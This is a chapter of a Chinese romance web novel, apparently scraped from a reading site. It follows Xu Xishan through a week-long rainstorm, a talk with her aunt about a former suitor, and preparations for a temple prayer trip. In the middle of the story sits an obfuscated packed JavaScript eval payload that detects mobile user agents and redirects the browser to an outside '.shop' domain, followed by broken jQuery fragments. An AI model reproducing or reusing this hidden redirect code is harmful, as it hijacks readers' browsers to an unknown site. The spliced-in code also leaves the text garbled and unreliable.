文趣网 > 其他小说 > 只有贤夫可以上位哦 > 49. 第 49 章
    春兰是贫苦出身,对于天灾人祸更加敏感。

    事实也是如此,如果按她梦中所见,这雨足足下了有六七日,给农人们造成了不小的麻烦。

    水稻这类不怕淹的还好,其他庄稼果植可就遭殃了,减产了不少,幸好没引起洪涝。

    也正是因为如此,德安长公主才会自请领众位世家子上兰若寺祈福。

    得百姓供奉也应当为百姓所忧,不怪德安长公主得圣心,无论心中是何想法,会如此提议已经好过许多身居高位而无动于衷的人。

    圣上是有野心谋略兼仁爱的。

    大景朝比历代都更繁荣昌盛、百姓安康,虽无法人人富庶,但大景境内无一人饥肠。仅仅两朝皇帝,已经做到如此高的成就,翻遍史书大景朝也是浓厚的一笔。

    怪不得遂宁郡主那么肆意,身为德安长公主的独女,实在很难为难苛责自己。

    “如果庄稼淹坏了圣上也会减免赋税的,我们大景许久没有人饿肚子了。”许惜杉复看着雨幕。

    春兰愣了一下,笑道:“我都忘了,圣上和先帝都是难得的明君。”

    许惜杉转头,看向她,笑容和煦,“春兰,你哪日有想去的地方,或是想成婚,与我说一声就好了。”

    大景朝的奴仆待遇并不差,工钱高、主人家也不能随意打杀。

    犯错惩处是可以的,但不能恶意致死,若奴仆想归家、嫁人,不再做奴仆也是自由的。

    大景朝没有人有手有脚会被饿死,相应的待遇也会提高,若不然谁愿意在怎么都能活的境况下去任人打杀。

    春兰摇摇头,眉头皱起,面有郁色说:“我不想成婚,日子过得好好的我做什么要去走入火坑?成婚不会叫我过得更好,我孑然一人也没人逼我遵什么男大当娶女大当嫁的礼矩。”

    许惜杉笑笑,她的春兰一直是一个很机灵的女子,也许如果女子能科举,春兰也不会泯灭众人吧。

    “那春兰就一直陪着我吧。”

    春兰璀然一笑,恢复往常笑嘻嘻又没心没肺的模样,扬声应道:“那是自然,我还要等小姐为我养老呢!”

    “那我肯定将我们老春兰养得白白胖胖。”许惜杉挑眉,挪揄道。

    如预料之中。

    接下去的天空愈加灰蒙,云乌得好像发黑一般,落雨不知节制为何物,洗刷着它所见的一切。

    孔府的下人已经冒着雨在挖排水渠,眼见这雨不想停,将府内下淹了更是不便。

    一时整个孔府里热火朝天,因着加工钱,愿意去做的人还不少。

    许惜杉在屋内窝着,屋门都没打开。

    昨日淋了那么久的雨,将她为赋新词强说愁的情节都打碎了,什么观雨听风的雅兴也都没了,只将烛火点得亮堂堂,伴着雨声看些游记就惬意万分。

    不知是那碗姜汤起了作用,还是她的身体康健,夜里没有发烧的迹象,今日精神也不错,好歹算一桩喜事。

    因着有心理准备,对着这长达多日的暴雨许惜杉接受得很好,没有因此扰到心情。

    第三日府里请了大夫,给几位主子都把了脉,免得天气突然转凉而着凉生病,又开了些调理身子的药。

    府中除了孔延都闭门不出了,孔延身为朝廷官员,这场暴雨只会叫他更加忙碌,如今已经吃住在宫中了,雨太大,马儿不好走,听说水都淹到马腹处了。

    值得一提的是,孔延在前几日升了礼部左侍郎。

    一则是他才能不凡又得圣心,二也许也跟独女及妻子的外甥女进宫一趟被折腾得病的病伤的伤,将原本的升职提前了些时日。

    暴雨到了第五日,雨势丝毫不见减,已经引起了一小波恐慌。

    钦天监预测这雨恐怕会下十天半个月,到时怕是水稻也坚持不住,今年的收成都要归于一空。

    此言一出,众人都更加小心翼翼,连玩趣打闹声都听不见了,偶有说话声音也是沉沉。

    许惜杉心里有数,没有多慌张。

    只是损失是难免的,幸好国库余粮充足,换个朽败的国朝这场雨能毁了大半个国家。

    第六日,雨渐渐小了,乌云渐散,只剩下苗苗细雨,好像前几日的疯狂、残暴都是错觉。

    整个孔府都动了起来,京城、各地,皆是如此,紧要地处理着排水。

    路一恢复通行,德安长公主便冒着细雨进宫,自请圣旨领众世家子去兰若寺为民祈福。

    皇帝准了。

    于是各世家在第六日的傍晚便接到了旨意,于明日辰时至宫门口,后由德安长公主领众人前往兰若寺。

    没有人有怨言,无论心中何想,各家皆是郑重接下旨意,赞美德安长公主拳拳爱民之心。

    送走传旨的人后,云霞让孔明月先回去,将许惜杉留了下来。

    许惜杉跟在云霞后面,走进这个许久未踏入的房间。

    前阵子她不是生病在养病,就是接连的暴雨,算起来有近半月没有到前院了,上次与姨母见面还是姨母去看望她。

    彩菊很快上了两盏茶。

    暴雨没有消减云霞颜色半分,无论何时她好像都是一副胸有成竹的模样,一个强大、温柔,富有魅力的女人。

    云霞打量了一番许惜杉,沉吟片刻后开口道:“惜杉,你心里还想着庄谦吗?”

    许惜杉正抿了口茶,听此被入口的茶水呛住,一顿咳嗽,她以为姨母怎么也要委婉一番,没想到上来就开门见山。

    春兰木着脸给主子顺气,坚决不泄漏一丝脸色。

    云霞也有些无奈,说:“别急,慢慢来,我只是好奇罢了。”

    许惜杉缓过来,灌了口茶水顺气,云霞这次注意着没开口。

    “我和庄哥哥只是兄妹之情,我们并不适合,我也与他说清了。”

    云霞有所料想,点点头,说:“这次祈福你们会遇见,我担心你们若是想法不坚,到时穿出什么风声对你们的名声都有碍。”

    德安长公主请旨为民祈福,若有人在兰若寺谈情说爱定然名声扫地,且会被德安长公主乃至圣上不喜。

    许惜杉不会做那般自掘坟墓的事,明知如此还和庄谦拉拉扯扯。

    不过若是有机会在兰若寺直接将佛珠串送给方宥礼应当没事,毕竟这是她害得他自小戴着的佛珠串没了的“赔礼”。

    她与方宥礼也是出了名的不合,不会有人觉得她们在谈情说爱,准确来说是方宥礼在谈情说爱,他优良品质刻进了所有人的心里。

    没有机会也没事,要送个佛珠串还不容易吗?

    只要尽快送出,叫他知道她的用心就好了。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17797072|208240||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    脑中动着小心思,面上许惜杉只乖巧地点头,一副安分的模样说:“我知道的姨母。”

    云霞点点头,她这个外甥女一直看上去很乖巧,突然想到婚事已经有了眉目的明月,云霞忽然说:

    “我寻些年龄合适的郎君,等过几天,带你去相看试试。”

    许惜杉一愣,露出羞意,含蓄地点点头,没有拒绝。

    她不能拒绝,姨母会以为她对庄谦怀有旧情,万一想顺她的意与袁夫人交涉就弄巧成拙了。

    还不如随意相看下,只可惜她想拿下的是方宥礼,若是像庄谦、时景之流,还能靠这个相看刺激促进一下感情。

    但她又转念一想,若是他们也无需她如何费心。

    云霞彻底放下心,想为惜杉相看是真,借此瞧瞧她的心意也是真的。

    见她这个命苦的外甥女真的放下,心头不免松了一口气,比起她母亲,惜杉要更加聪慧。

    正事说完,云霞又问了些老生常谈的话语,诸如身体怎样、院中有没有被雨淋坏需要修缮的、在孔府有什么觉得不好的之类后,就将许惜杉放回去了。

    晚上需得好好休息,明天还要早早出发,爬上兰若寺也是一项费力的事。

    暴雨过后,仅一日孔府并未清理修建完,路上还能见到排水渠的影子。

    地面褪水后也很糟乱,只粗略地整理了一些,要想恢复暴雨前的模样应该还得两三日。

    所幸雨是停了。

    怀抱着期待,许惜杉今晚睡得很早,一夜无梦,在天将亮时被春兰唤醒。

    “快起来洗漱吧小姐,今日劳累早膳要用得好一些,不然遭不住的。”昏在兰若寺就丢脸了。

    许惜杉迷迷糊糊地点头,坐起身,幸好昨晚睡得好,即使起得早些也不觉太过困倦。

    被伺候着利落地洗漱、换衣裳,随后用了顿丰盛的早膳——

    显然姨母也特意交代了厨房,从前的早膳本就丰盛,今日的早膳竟然更盛。

    用了七分饱许惜杉就放下了筷子,只叫春兰打包些糕点带上马车。

    她还是不适应吃得十分饱,感觉难受得紧。

    坐在梳妆台前,春兰眼神晶亮地双手不停在她发间穿梭。

    今日她穿的是一件粉红鲛绡所制的幻彩裙,格外惊艳,犹如天上仙子般飘然出尘。

    这件衣裳制好许久了,她一直没穿,今日是个好日子就穿上了。

    也许是因春兰喜欢这套衣裳,扎发髻就格外用心,往常扎发髻一刻钟的一半都不到就扎好了,今日一刻钟都过去了,还在纠结用簪子还是步摇。

    “就用那只栀子玉簪吧。”许惜杉说。

    “咦?”

    春兰从梳妆盒中找出栀子玉簪,在她头上比划着,点点头,将原先头上的金钗取了下来,换成栀子玉簪,戴上了几朵珠花。

    梳妆完毕她轻扶着许惜杉的头左瞧瞧右看看,笑着说:“还是小姐眼光好,如此更像天上的仙子下凡了,玉簪最是清新脱俗。”

    并不是,她只是讨巧想戴给方宥礼看罢了。

    她没叫春兰上妆容,到时怕兰若寺的石梯定会流汗,若是上妆了汗一流,满面白汤还谈什么美与丑。

    左右看看,她取出一副流苏耳环戴上,清冷淡了几分,添了些娇艳。